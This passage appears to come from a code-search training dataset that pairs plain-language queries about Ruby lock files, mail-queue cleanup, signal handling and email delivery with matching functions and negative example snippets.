"def with_lock(lock_file_path, blocking: true)\n path = LOCK_FILES_DIR_PATH.join(lock_file_path)\n\n unless Dir.exist?(path.dirname)\n Rails.logger.debug(\"Creating lock file directory: #{path.dirname}\")\n FileUtils.mkdir_p(path.dirname)\n end\n\n File.open(path, 'w') do |lock_file|\n Rails.logger.debug(\"Attempting to acquire lock: #{lock_file_path}\")\n locked = lock_file.flock(blocking ? File::LOCK_EX : File::LOCK_NB | File::LOCK_EX)\n raise FailedToAcquireLock, \"Lock #{lock_file_path} is locked by another process\" if !locked && !blocking\n\n lock_file.write(\"Locked by process ##{Process.pid} at #{Time.now}\")\n yield\n end\n end",
"def lock(f,comment,ownerid=nil)\r\n file_lock = `#{@ts_bin}/iwlock #{f} \"#{comment}\" #{ownerid unless ownerid.nil?} 2>&1`\r\n return file_lock\r\n end",
"def acquire_lock\n return true if @handle\n begin\n @handle = File.open(status_file_path, File::RDWR | File::CREAT)\n raise StandardError.new('Already locked') unless @handle.flock(File::LOCK_EX | File::LOCK_NB)\n @handle.rewind\n @handle.truncate 0\n rescue\n if @handle\n @handle.flock(File::LOCK_UN)\n @handle.close\n end\n @handle = nil\n end\n !!@handle\n end",
"def writelock(file, mode = nil)\n raise Puppet::DevError, \"Cannot create #{file}; directory #{File.dirname(file)} does not exist\" unless FileTest.directory?(File.dirname(file))\n raise ArgumentError, \"#{file} is not a file\" unless !File.exists?(file) or File.file?(file)\n tmpfile = file + \".tmp\"\n\n unless mode\n # It's far more likely that the file will be there than not, so it's\n # better to stat once to check for existence and mode.\n # If we can't stat, it's most likely because the file's not there,\n # but could also be because the directory isn't readable, in which case\n # we won't be able to write anyway.\n begin\n mode = File.stat(file).mode\n rescue\n mode = 0600\n end\n end\n\n Puppet::Util.synchronize_on(file,Sync::EX) do\n File.open(file, File::Constants::CREAT | File::Constants::WRONLY, mode) do |rf|\n rf.lock_exclusive do |lrf|\n # poor's man open(2) O_EXLOCK|O_TRUNC\n lrf.seek(0, IO::SEEK_SET)\n lrf.truncate(0)\n yield lrf\n end\n end\n end\n end",
"def write(lock, lockfile_path)\n if File.exist?(lockfile_path)\n raise(PuppetUnit::Exceptions::LockfileExists.new(lockfile_path))\n else\n serialized_lock = Marshal.dump(lock)\n\n File.open(lockfile_path, \"wb\") do |file|\n file.write(serialized_lock)\n end\n end\n end",
"def write\n\t\tfile = File.new(@lock_file, \"w\")\n\t\tyield(file)\n\t\tfile.close\n\tend",
"def try_lock\n puts \"I couldn't get a lock.\" unless \n open_lock('contested', 'w', File::LOCK_EX | File::LOCK_NB) do\n puts \"I've got a lock!\" \n true\n end\nend",
"def write_pid_file pid\n @global_pids << pid.to_s\n puts 'Writing lock file to ' + $LOCK_DIR+'/testlock_'+pid.to_s if $DEBUG\n File.open( $LOCK_DIR+'/testlock_'+pid.to_s, File::RDWR|File::CREAT, 0644) do |f|\n f.flock(File::LOCK_EX)\n f.write(pid)\n f.flush\n sleep(15)\n end\n puts 'Removing lock file ' + $LOCK_DIR+'/testlock_'+pid.to_s if $DEBUG\n FileUtils.remove $LOCK_DIR+'/testlock_'+pid.to_s\n end",
"def replace (filename, *data_and_options)\n data, options = *parse_data_and_options(data_and_options)\n lockfile = options[:lockfile] ? options[:lockfile] : \"#{filename}.lock\"\n\n begin\n if not options[:noop]\n fd = IO.sysopen(lockfile, IO::WRONLY | IO::CREAT | IO::EXCL, 0700)\n f = IO.new(fd, 'w')\n hook_write(f, lockfile) if block_given? and options[:verbose]\n else\n f = StringIO.new\n hook_write(f, lockfile, :rewind) if block_given? and options[:verbose]\n end\n\n file_stat = File.stat(filename) rescue nil\n\n if block_given?\n $stderr.puts \"cat /dev/null > #{Escape.shell_single_word(lockfile)}\" if options[:verbose]\n yield f\n else\n $stderr.puts AdvFileUtils.__send__(:write_echo_message, data, '>', lockfile) if options[:verbose]\n f.write(data)\n end\n\n f.close\n\n if file_stat\n FileUtils.chown(file_stat.uid.to_s, file_stat.gid.to_s, lockfile, options)\n FileUtils.chmod(file_stat.mode & 07777, lockfile, options)\n end\n FileUtils.mv(lockfile, filename, options)\n\n ensure\n f.close if f and not f.closed?\n begin\n File.delete(lockfile) if fd\n rescue Errno::ENOENT\n end\n end\n end",
"def lockfile\n\t\t@lockfile ||= File.open( @filename, FileMode )\n\tend",
"def create_folder_lock (backup_path, backup_date)\n #create backup time directory\n FileUtils.mkdir_p \"#{backup_path}#{backup_date}\"\n #create backup time lockfile\n lockfile = File.new(\"#{backup_path}\" + \"#{backup_date}.flock\", \"w+\").flock(File::LOCK_EX)\nend",
"def lock_shared\n @lock.open(File::CREAT) do |lock_file|\n lock_file.flock(File::LOCK_SH)\n yield @immutable_file_cache\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Deletes a lock file to mark the given file as unlocked
|
def unlock_file file
file_lock = file + ".lock"
File.delete(file_lock) if FileTest::file? file_lock
end
|
[
"def remove_lock\n File.delete(@lock_file)\n end",
"def remove_lock(filespec)\n File.delete \"#{filespec}.lock\" if File.exists? \"#{filespec}.lock\"\n end",
"def close_lock_file\n\t\tif @lockfile\n\t\t\tpath = @lockfile.path\n\t\t\t@lockfile.close\n\t\t\t@lockfile = nil\n\t\t\tFile.delete( path.untaint ) if File.exist?( path.untaint )\n\t\tend\n\tend",
"def close_lock_file\n\t\tif @lockfile\n\t\t\tpath = @lockfile.path\n\t\t\t@lockfile.close\n\t\t\t@lockfile = nil\n\t\t\tif File.exist?( path.untaint )\n\t\t\t\tFile.delete( path.untaint )\n\t\t\tend\n\t\tend\n\tend",
"def unlock\n FileUtils.rm(lock_file) if File.exist?(lock_file)\n reset!\n end",
"def unlock\n FileUtils.rm(lock_file) if File.exist?(lock_file)\n reset!\n end",
"def unlocked_release(id)\n lock_file = @machine_locks[id]\n if lock_file\n lock_file.close\n begin\n File.delete(lock_file.path)\n rescue Errno::EACCES\n # Another process is probably opened it, no problem.\n end\n\n @machine_locks.delete(id)\n end\n end",
"def delete_lockfile(device_id)\n # This process deletes an existing lockfile\n lock_file_location = Rails.root.to_s + '/tmp/device' + device_id.to_s + '.lock'\n \n # assume file not deleted\n deleted_lockfile = false\n\n SEMAPHORE.synchronize do \n # If file exists, delete it\n if FileTest.exists?(lock_file_location)\n begin\n File.delete(lock_file_location)\n deleted_lockfile = true\n LOGGER.info \"#{Time.now.strftime('%Y-%m-%d_%H:%M:%S')} INFO: Lock file deleted for device with ID #{device_id}\"\n rescue\n LOGGER.error \"#{Time.now.strftime('%Y-%m-%d_%H:%M:%S')} ERR: Error deleting lock file for device with ID #{device_id}\"\n end\n else\n LOGGER.info \"#{Time.now.strftime('%Y-%m-%d_%H:%M:%S')} INFO: Lock file for device with ID #{device_id} does not exist exists. Could not delete.\"\n end\n end\n \n deleted_lockfile\nend",
"def unlock_the_other()\n File.delete(@other_lock)\n end",
"def release_lock\n return true unless @handle\n set_message ''\n @handle.flock(File::LOCK_UN)\n @handle.close\n @handle = nil\n true\n end",
"def unlock_repo(lock_file)\n lock_file.close\n lock_file\n end",
"def delete(file)\n Logger.log(\"Deleting #{file.name} in Google Drive.\")\n\n unless @lock.include?(file.id)\n @lock << file.id\n @service.delete_file(file.id)\n end\n end",
"def unlock_file(locked_name)\n begin\n FileUtils.mv(\"#{locked_name}\",\"#{@frpath}content.txt\")\n return true\n rescue\n return false\n end\n end",
"def remove_gemfile_lock(root)\n root = Noop::Utils.convert_to_path root\n lock_file_path = root + file_name_gemfile_lock\n if lock_file_path.file?\n debug \"Removing Gem lock file: '#{lock_file_path}'\"\n lock_file_path.unlink\n end\n end",
"def release_write_lock\n\t\tif self.read_locked?\n\t\t\tself.lockfile.posixlock( File::LOCK_SH )\n\t\telse\n\t\t\tself.lockfile.posixlock( File::LOCK_UN )\n\t\t\tself.close_lock_file\n\t\tend\n\tend",
"def delete!\n safe_close\n File.delete(@file_path)\n end",
"def release_write_lock\n\t\tif self.read_locked?\n\t\t\tself.lockfile.flock( File::LOCK_SH )\n\t\telse\n\t\t\tself.lockfile.flock( File::LOCK_UN )\n\t\t\tself.close_lock_file\n\t\tend\n\tend",
"def unlock(uri, lock_info)\n delete_ds = @sequel[\n \"DELETE FROM #{@table_name} WHERE uri = ? AND token = ?\",\n uri,\n lock_info.token\n ]\n result = delete_ds.delete\n\n result == 1\n end",
"def erase\n @f = nil\n File.delete(@file_name) if File.exist?(@file_name)\n reset_counters\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Checks for a lock file to see if the given file is marked as locked
|
def is_locked? file
file_lock = file + ".lock"
FileTest::file? file_lock
end
|
[
"def is_locked?\n if not File.exist? @filename\n return false\n else\n return (File.stat(@filename).mode & 0777) == 0000\n end\n end",
"def lock_file_present?(lfname)\n begin\n # TODO check lock file age and send a warning if it is older than a\n # given threshold.\n File.exists?(lfname)\n rescue => e\n logger.error \"checking lock file '#{lfname}' presence:\"\n logger.error e.message\n logger.error e.backtrace.join(\"\\n\")\n Mailer.notify_admins(self, 'lock_file_check', e)\n end\n end",
"def locked?\n File.exist?(archive_lock_path)\n end",
"def try_lock\n puts \"I couldn't get a lock.\" unless \n open_lock('contested', 'w', File::LOCK_EX | File::LOCK_NB) do\n puts \"I've got a lock!\" \n true\n end\nend",
"def lock_file_exists?\n File.exists?(lock_file_path)\n end",
"def validate_lockfile_present!\n raise LockfileNotFound unless lockfile.present?\n\n true\n end",
"def acquire_lock\n return true if @handle\n begin\n @handle = File.open(status_file_path, File::RDWR | File::CREAT)\n raise StandardError.new('Already locked') unless @handle.flock(File::LOCK_EX | File::LOCK_NB)\n @handle.rewind\n @handle.truncate 0\n rescue\n if @handle\n @handle.flock(File::LOCK_UN)\n @handle.close\n end\n @handle = nil\n end\n !!@handle\n end",
"def lockfile_exists(device_id)\n # This process checks if a lockfile exists\n lock_file_location = Rails.root.to_s + '/tmp/device' + device_id.to_s + '.lock'\n \n # assume file not created\n lockfile_exists = false\n \n # If file doesn't exist, create it\n if FileTest.exists?(lock_file_location)\n lockfile_exists = true\n end\n \n lockfile_exists\nend",
"def lock(lock_data = nil)\n begin\n Puppet::FileSystem.exclusive_create(@file_path, nil) do |fd|\n fd.print(lock_data)\n end\n true\n rescue Errno::EEXIST\n false\n end\n end",
"def try_lock(lockfile_name)\n lockfile = RandomAccessFile.new(temp_file(lockfile_name), \"rw\")\n return lockfile.getChannel.tryLock ? lockfile : nil\n rescue Java::java.nio.channels.OverlappingFileLockException\n return nil\n end",
"def locked_open?\n lock == :open\n end",
"def lock_file(file_name, &block); end",
"def locked?(lock_name = \"global\", skip_global = false)\n File.exists?(File.join(RUBY_LOCK_TEMP_DIR,'ruby-lock',lock_name)) || \n (!skip_global && File.exists?(File.join(RUBY_LOCK_TEMP_DIR,'ruby-lock',\"global\")))\n end",
"def checkLocked(fileName, arr)\n\treturn arr.include?(fileName)\nend",
"def lock\r\n # already locked, just increase the ref count\r\n if @lock_count > 0\r\n @lock_count += 1\r\n return\r\n end\r\n\r\n # THIS COULD BLOCK\r\n @f.flock(File::LOCK_EX)\r\n @lock_count = 1\r\n end",
"def isLock?\n @locked != nil\n end",
"def locked?\n active_lock.present?\n end",
"def filelist_unlocked?\n status_is?(:NEW_FILES)\n end",
"def locked?() end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Removes emails that have lived in the queue for too long. If max_age is set to 0, no emails will be removed.
|
def cleanup
return if @max_age == 0
timeout = Time.now - @max_age
conditions = ['last_send_attempt > 0 and created_on < ?', timeout]
mail = ActionMailer::Base.email_class.destroy_all conditions
log "expired #{mail.length} emails from the queue"
end
|
[
"def removeExpiredKeywords max_mins\n unless @queue.first.nil?\n # While the keyword at the head of the queue was added more than max_mins ago\n while @queue.first.time + max_mins * 60 < Time.now or @queue.first.nil?\n # If this is the last instance of this keyword then delete it from the hash\n if @keywords_count[@queue.first.word] == 1\n @keywords_count.delete(@queue.first.word)\n # Remove it from the queue\n @queue.shift\n else\n # Deduct it from the keyword count\n @keywords_count[@queue.first.word] = @keywords_count[@queue.first.word] - 1\n # Remove it from the queue\n @queue.shift\n end\n end\n end\n end",
"def check_message_age\n return unless @mode == :max_age\n\n @history_mutex.synchronize do\n @history.each do |key|\n @history[key].delete_if{|entry| Time.now - entry.time > @max_age}\n end\n end\n end",
"def expire_messages(filter = nil)\n with_queue_control do |control|\n control.expire_messages(filter)\n end\n end",
"def remove_expired_elements()\n min_timestamp = Time.now - @timeout\n @@mutex.synchronize do\n @@aggregate_maps.delete_if { |key, element| element.creation_timestamp < min_timestamp }\n end\n end",
"def ageoff\n messages.reject! { |m| m.expired? }\n\n claims.keys.dup.each do |id|\n claim = claims[id]\n if claim.expired? || claim.messages.empty?\n claim.messages.each { |m| m.claim = nil }\n claims.delete(id)\n end\n end\n end",
"def terminate_by_age(limit_age=5)\r\n tmp_units = []\r\n @units.each do |un|\r\n if un.age < limit_age\r\n tmp_units << un\r\n end\r\n end\r\n @units = tmp_units\r\n return nil\r\n end",
"def gc!(age)\n @timestamps.each do |job_key, timestamp|\n if timestamp < age\n delete_worker(job_key)\n end\n end \n end",
"def remove_expired_message_ids\n lua_script = %{local message_ids = redis.call(\"ZRANGEBYSCORE\", KEYS[1], '-inf', ARGV[1]); for k,v in pairs(message_ids) do redis.call(\"ZREM\", KEYS[1], v); redis.call(\"ZREM\", KEYS[2], v) end}\n redis.eval lua_script, {keys: [message_id_expirations.key, message_ids_without_expiration_gc.key], argv: [Time.current.to_i]}\n end",
"def destroy_email\n Person.where.not(id: self.id).each do |recipient|\n Resque.enqueue(PersonDestroyed, self.full_name, recipient.id)\n end\n end",
"def gc!(age)\n @timestamps.each do |job_key, timestamp|\n if timestamp[timestamp[:expire_type]] < age\n delete_worker(job_key)\n end\n end \n GC.start\n end",
"def remove_expired_elements()\n expired = []\n @transactions.delete_if do |key, transaction|\n if(transaction.age >= @timeout)\n #print(\"Deleting expired_elements\")\n transaction.tag(TRANSACTION_TIME_EXPIRED_TAG)\n (expired << transaction.getEvents()).flatten!\n next true\n end\n next false\n end\n return expired\n end",
"def clear_queue\n case @remove\n when 'one'\n puts \"Clearing e-mails #{@search_direction} #{@email}\"\n puts ''\n `exiqgrep -i #{@direction} #{@email} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n when 'all'\n if @valid_domain\n puts \"Removing all e-mails #{@search_direction} #{@domain}\"\n `exiqgrep -i #{@direction} #{@domain} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n else\n puts \"#{@domain} is not a valid local domain. Removing e-mails #{@search_direction} #{@email} instead\"\n `exiqgrep -i #{@direction} #{@email} | xargs -P10 -i exim -Mrm '{}' >/dev/null`\n end\n else\n puts \"Didn't remove any emails from the mailque\"\n end\n end",
"def requeue_timed_out_jobs\n # older than x\n jobs.where{started_working_at <= (Time.now - EQ.config.job_timeout)}\\\n .update(started_working_at: nil)\n end",
"def cleanup_with_limit(files, limit, &block)\n return unless files.size > limit\n\n to_remove = files[0..(files.size - limit - 1)]\n # TODO: validate here\n to_remove.each(&block)\n end",
"def remove_expired_elements()\r\n expired = []\r\n @start_events.delete_if do |key, element|\r\n if(element.age >= @timeout)\r\n expired << element\r\n next true\r\n end\r\n next false\r\n end\r\n\r\n return expired\r\n end",
"def purge_queues\n [incoming_queue_url, outgoing_queue_url].each do |queue_url|\n while true\n messages = client.receive_message(queue_url: queue_url, max_number_of_messages: 10).messages\n break unless messages.first\n messages.each do |message|\n client.delete_message(queue_url: queue_url, receipt_handle: message.receipt_handle)\n end\n end\n end\n end",
"def prune(age: nil, size: nil)\n\t\tif age\n\t\t\tselect {|e| e.age > age}.each {|e| retry_rm_r(e.path)}\n\t\telsif size\n\t\t\twhile total_size > size\n\t\t\t\tretry_rm_r(max_by {|e| e.age}.path)\n\t\t\tend\n\t\telse\n\t\t\teach_entry do |name, path|\n\t\t\t\tretry_rm_r(path)\n\t\t\tend\n\t\tend\n\tend",
"def trim_messages room\n while room['messages'].length > 250\n room['messages'].shift\n end\n end",
"def empty_trash (max_age, options = {})\n sql = 'created_at <= ?'\n args = [max_age.ago]\n\n vals = options[:only] || options[:except]\n if vals\n vals = [vals] unless vals.kind_of?(Array)\n sql << ' AND trashable_type'\n sql << ' NOT' unless options[:only]\n sql << \" IN (#{vals.collect{|v| '?'}.join(', ')})\"\n args.concat(vals.collect{|v| v.kind_of?(Class) ? v.base_class.name : v.to_s.camelize})\n end\n\n delete_all([sql] + args)\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Installs signal handlers to gracefully exit.
|
def install_signal_handlers
trap 'TERM' do do_exit end
trap 'INT' do do_exit end
end
|
[
"def register_signal_handlers!\n trap('TERM') { shutdown }\n trap('INT') { shutdown }\n end",
"def register_signal_handlers\n trap('TERM') { shutdown }\n trap('INT') { shutdown }\n\n begin\n trap('QUIT') { shutdown }\n trap('USR1') { pause_processing }\n trap('CONT') { unpause_processing }\n rescue ArgumentError\n warn \"Signals QUIT, USR1, USR2, and/or CONT not supported.\"\n end\n\n log! \"Registered signals\"\n end",
"def register_signal_handlers\n SignalTrapper.trap('TERM') { graceful_term? ? shutdown : shutdown! }\n SignalTrapper.trap('INT') { shutdown! }\n\n # these signals are in use by the JVM and will not work correctly on jRuby\n unless jruby?\n SignalTrapper.trap_or_warn('QUIT') { shutdown }\n SignalTrapper.trap_or_warn('USR1') { @child.kill }\n end\n SignalTrapper.trap_or_warn('USR2') { pause_processing }\n\n logger.debug \"Registered signals\"\n end",
"def restore_signal_handlers\n\t\tSignal.trap( :HUP, :DEFAULT )\n\t\tSignal.trap( :TERM, :DEFAULT )\n\t\tSignal.trap( :INT, :DEFAULT )\n\t\tSignal.trap( :USR1, :DEFAULT )\n\tend",
"def set_signal_handlers\n\t\tSignal.trap( :HUP, &self.method(:on_hangup_signal) )\n\t\tSignal.trap( :TERM, &self.method(:on_termination_signal) )\n\t\tSignal.trap( :INT, &self.method(:on_interrupt_signal) )\n\t\tSignal.trap( :USR1, &self.method(:on_user1_signal) )\n\tend",
"def setup_signals\n trap(\"TERM\") { @log.info(\"SIGTERM, forced shutdown.\"); shutdown(force=true) }\n trap(\"INT\") { @log.info(\"SIGINT, graceful shutdown started.\"); shutdown }\n begin\n trap(\"HUP\") { @log.info(\"SIGHUP, graceful shutdown started.\"); shutdown }\n trap(\"USR2\") { @log.info(status_info) }\n rescue ArgumentError\n # Probably on Windows and these signals aren't supported\n nil\n end\n end",
"def set_signal_handlers\n\t\tstop_handler = lambda {|*args|\n\t\t\tself.log.error \"Stopping the engine: %p\" % [ args ]\n\t\t\tself.stop\n\t\t}\n\n\t\tSignal.trap( :TERM, &stop_handler )\n\t\tSignal.trap( :INT, &stop_handler )\n\t\tSignal.trap( :HUP, &stop_handler )\n\tend",
"def reset_signal_handlers\n\t\tSignal.list_trappable.each_key do |signal|\n\t\t\tbegin\n\t\t\t\tprev_handler = trap(signal, DEFAULT)\n\t\t\t\tif prev_handler != DEFAULT\n\t\t\t\t\t@previous_signal_handlers[signal] = prev_handler\n\t\t\t\tend\n\t\t\trescue ArgumentError\n\t\t\t\t# Signal cannot be trapped; ignore it.\n\t\t\tend\n\t\tend\n\t\ttrap('HUP', IGNORE)\n\t\tPhusionPassenger.call_event(:after_installing_signal_handlers)\n\tend",
"def trap_signals\n Signal.trap('QUIT') { shut_down }\n Signal.trap('INT') { shut_down }\n Signal.trap('KILL') { shut_down }\n Signal.trap('TERM') { shut_down }\n end",
"def reset_signal_handlers\n Signal.list_trappable.each_key do |signal|\n begin\n prev_handler = trap(signal, DEFAULT)\n if prev_handler != DEFAULT\n @previous_signal_handlers[signal] = prev_handler\n end\n rescue ArgumentError\n # Signal cannot be trapped; ignore it.\n end\n end\n trap('HUP', IGNORE)\n PhusionPassenger.call_event(:after_installing_signal_handlers)\n end",
"def install_signal_traps\n install_siginfo_trap\n @traps =\n %w[INT QUIT].map do |signal|\n Signal.trap signal do\n if @shutdown\n raise Shutdown, \"SIG#{signal}\" if (Time.now - @shutdown) > 10 # seconds\n next\n else\n shutdown\n log \"#{signal} received. initiating graceful shutdown...\"\n end\n end\n end\n @traps << Signal.trap(\"CHLD\") { @reap = true }\n @traps << Signal.trap(\"TERM\") { raise Shutdown, \"SIGTERM\" }\n end",
"def sigHandler\n Signal.trap(\"INT\") { stop }\n Signal.trap(\"TERM\") { stop }\n end",
"def daemon_install_signal_handler\n install_signal_handler(['TERM', 'INT', 'HUP'], :trap_msg => \"Caught trap signal. Shutdown workers...\") do\n $daemon[:worker_pids].each do |pid|\n begin\n Process.kill('TERM', pid)\n rescue => exception\n end\n end\n $daemon[:work] = false\n end\nend",
"def trap_signals\n ['TERM', 'INT', 'QUIT'].each { |signal| trap(signal) { stop } }\n end",
"def add_sigint_handler\r\n trap 'INT' do\r\n raise QuitError\r\n end\r\n end",
"def unregister_signals\n trap('CHLD', 'DEFAULT')\n end",
"def set_signal_traps\n signals = {:INT => :stop, :TERM => :stop }\n # extended signals not supported under windows\n signals.update({:HUP => :restart, :USR1 => :reload, :USR2 => :reopen_logs }) unless Puppet.features.microsoft_windows?\n signals.each do |signal, method|\n Signal.trap(signal) do\n Puppet.notice \"Caught #{signal}; calling #{method}\"\n send(method)\n end\n end\n end",
"def trap_signals\n [:INT, :QUIT, :TERM].each do |sig|\n trap(sig) do\n ProcessManager::Log.info \"#{description}: Received #{sig} - setting internal shutting down flag and possibly finishing last run\"\n stop_thread = Thread.new {stop}\n stop_thread.join\n end\n end\n # make sure we do not handle children like the master process\n trap(:CHLD, 'DEFAULT')\n end",
"def install_signal_handler(readers)\n %w( TERM INT ).each do | s |\n Signal.trap(s) do\n log.info(\"#{s} intercepted. Terminating reader threads.\")\n readers.each { |r| r.stop() }\n end\n end\n Signal.trap(\"USR1\") do\n log.debug(@state.to_s)\n end\n Signal.trap(\"ABRT\") do\n # A signal abort has been received. Handle it by simply exiting.\n exit 0\n end\n end"
] |
{
"objective": {
"paired": [],
"self": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
Scans for emails and delivers them every delay seconds. Only returns if once is true.
|
def run
install_signal_handlers
loop do
begin
cleanup
emails = find_emails
deliver(emails) unless emails.empty?
rescue ActiveRecord::Transactions::TransactionError
end
break if @once
sleep @delay
end
end
|
[
"def mail_flush\n @mails_mutex.synchronize do\n self.log_puts(\"Flushing mails.\") if @debug\n \n if @mails_waiting.empty?\n self.log_puts(\"No mails to flush - skipping.\") if @debug\n return false\n end\n \n self.log_puts(\"Trying to ping Google to figure out if we are online...\") if @debug\n status = Ping.pingecho(\"google.dk\", 10, 80)\n if !status\n self.log_puts(\"We are not online - skipping mail flush.\")\n return false #Dont run if we dont have a connection to the internet and then properly dont have a connection to the SMTP as well.\n end\n \n #Use subprocessing to avoid the mail-framework (activesupport and so on, also possible memory leaks in those large frameworks).\n self.log_puts(\"Starting subprocess for mailing.\") if @debug\n require \"ruby_process\"\n ::Ruby_process::Cproxy.run do |data|\n subproc = data[:subproc]\n subproc.static(:Object, :require, \"rubygems\")\n subproc.static(:Object, :require, \"mail\")\n subproc.static(:Object, :require, \"#{Knj.knjrbfw_path}/../knjrbfw.rb\")\n \n self.log_puts(\"Flushing emails.\") if @debug\n @mails_waiting.each do |mail|\n begin\n self.log_puts(\"Sending email: #{mail.__id__}\") if @debug\n if mail.send(:proc => subproc)\n self.log_puts(\"Email sent: #{mail.__id__}\") if @debug\n @mails_waiting.delete(mail)\n end\n rescue Timeout::Error\n #ignore - \n rescue => e\n @mails_waiting.delete(mail)\n self.handle_error(e, :email => false)\n end\n \n sleep 1 #sleep so we dont take up too much bandwidth.\n end\n end\n \n return nil\n end\n end",
"def mail_flush\n\t\t@mails_mutex.synchronize do\n STDOUT.print \"Flushing mails.\\n\" if @debug\n \n if @mails_waiting.length <= 0\n STDOUT.print \"No mails to flush - skipping.\\n\" if @debug\n return false\n end\n \n STDOUT.print \"Trying to ping Google to figure out if we are online...\\n\" if @debug\n status = Ping.pingecho(\"google.dk\", 10, 80)\n if !status\n STDOUT.print \"We are not online - skipping mail flush.\\n\"\n return false #Dont run if we dont have a connection to the internet and then properly dont have a connection to the SMTP as well.\n end\n \n begin\n #Use subprocessing to avoid the mail-framework (activesupport and so on, also possible memory leaks in those large frameworks).\n STDOUT.print \"Starting subprocess for mailing.\\n\" if @debug\n require \"knj/process_meta\"\n subproc = Knj::Process_meta.new(\"debug\" => @debug, \"debug_err\" => true, \"id\" => \"knjappserver_mailing\")\n subproc.static(\"Object\", \"require\", \"rubygems\")\n subproc.static(\"Object\", \"require\", \"mail\")\n subproc.static(\"Object\", \"require\", \"#{@config[:knjrbfw_path]}knjrbfw\")\n subproc.static(\"Object\", \"require\", \"knj/autoload\")\n \n STDOUT.print \"Flushing emails.\" if @debug\n @mails_waiting.each do |mail|\n begin\n STDOUT.print \"Sending email: #{mail.__id__}\\n\" if @debug\n if mail.send(\"proc\" => subproc)\n STDOUT.print \"Email sent: #{mail.__id__}\\n\" if @debug\n @mails_waiting.delete(mail)\n end\n rescue Timeout::Error\n #ignore - \n rescue => e\n @mails_waiting.delete(mail)\n self.handle_error(e, {:email => false})\n end\n \n sleep 1 #sleep so we dont take up too much bandwidth.\n end\n ensure\n subproc.destroy if subproc\n subproc = nil\n end\n \n return nil\n\t\tend\n\tend",
"def check\n # if the server doesn't support us, we just do nothing.\n return unless Config.server.respond_to?(:broadcast_message)\n\n info \"starting email checker loop\"\n\n Thread.new do\n loop do\n debug \"checking email\"\n\n begin\n with_imap do |imap|\n imap.search(['NOT', 'DELETED']).each do |message_id|\n info \"mail found, handling\"\n handle_message_id(imap, message_id)\n end\n end\n\n rescue Exception => ex\n error \"checking email: #{ex}\"\n end\n\n break unless poll_email?\n\n sleep (Config.email['interval'] || 30)\n end\n end\n end",
"def run\n result = nil\n \n begin\n Timeout::timeout(self.timeOut - 4) do\n hasMail = true\n \n begin\n Kernel.sleep(5)\n result = !@store.any? do |store|\n RunCommand.new('ls', ZIMBRAUSER, '-A', File.join(ZIMBRAPATH,'store','incoming'), store).run[1].include?('.msg')\n end\n if result\n hasMail = false\n end\n end while(hasMail)\n end\n rescue => e\n result = e\n end\n [0, result]\n \n end",
"def wait_for_emails(&block)\n Mailtruck::Receiver.wait_for(addresses, block)\n end",
"def poll\n Mail.find_and_delete do |mail|\n attachment_count = mail.attachments.count\n\n if attachment_count.zero?\n @log.info \"Skipping e-mail #{mail.subject} from #{mail.from} as \" \\\n 'this e-mail has no attachments'\n next\n end\n\n @log.info \"Received e-mail #{mail.subject} from #{mail.from} with \" \\\n \"#{mail.attachments.count} attachments\"\n\n process_mail mail\n end\n end",
"def send_pending_emails\n @pending_emails.pop.deliver_later until @pending_emails.empty?\n end",
"def send_absolutely_scheduled_messages\n messages.pending_send.find_each do |message|\n # subscribers = subscriptions.where(\"created_at <= ?\", message.next_send_time).map(&:subscriber)\n subscribers = subscriptions.map(&:subscriber)\n send_message message, subscribers if subscribers.size > 0\n\n if message.recurring_schedule.present?\n message.update_next_send_time_for_recurring_schedule\n message.save!\n end\n end\n end",
"def send_email_buffered(text,frequency=nil,include_filename=nil)\n node = get_node\n @send_email_warning_messages ||= Array.new\n @send_email_warning_messages << \"[at #{Time.now.strftime('%Y-%m-%d %H:%M')}] \"+text.to_s\n @send_email_warning_sent ||= Hash.new\n @send_email_buffered_frequency ||= 1.hour\n @send_email_buffered_frequency = frequency if frequency and frequency.is_a? Integer\n mark_time(:first_send_email_call) unless time_at_mark(:first_send_email_call)\n @include_filename = include_filename\n\n unless @send_email_buffered_thread and @send_email_buffered_thread.alive?\n @send_email_buffered_thread = Thread.new do\n info_message(\"send_email_buffered is starting a new thread to send #{@send_email_warning_messages.size} queued messages.\")\n loop do\n while (not @send_email_warning_messages.empty?)\n info_message(\"send_email_buffered is considering sending #{@send_email_warning_messages.size} queued messages. #{time_since_mark(:first_send_email_call) / 60} minutes since the last send. Sending every #{@send_email_buffered_frequency / 60} minutes.\")\n if ((self.max_buffered_emails and self.max_buffered_emails > 0 and @send_email_warning_messages.size >= self.max_buffered_emails) or (time_since_mark(:first_send_email_call) > @send_email_buffered_frequency))\n @send_email_warning_sent.clear\n mark_time(:first_send_email_call)\n end\n send_buffered_emails(@include_filename) unless @send_email_warning_sent[node]\n sleep 5.minutes\n end\n info_message(\"send_email_buffered thread is waiting; no messages to send.\")\n sleep 5.minutes\n end\n end\n else\n info_message(\"send_email_buffered is not starting a new mail thread; one is already running. #{@send_email_warning_messages.size} messages to send; last sent at #{time_at_mark(:first_send_email_call).to_s}\")\n end\n end",
"def scan\n @@scanning = true\n if AppVariable.exists?(name: 'latest_message_epoch_time')\n thr = Thread.new do\n GmailReader.read_bank_notices(AppVariable.find(1).value)\n @@scanning = false\n end\n else\n @@scanning = false\n end\n head :no_content\n end",
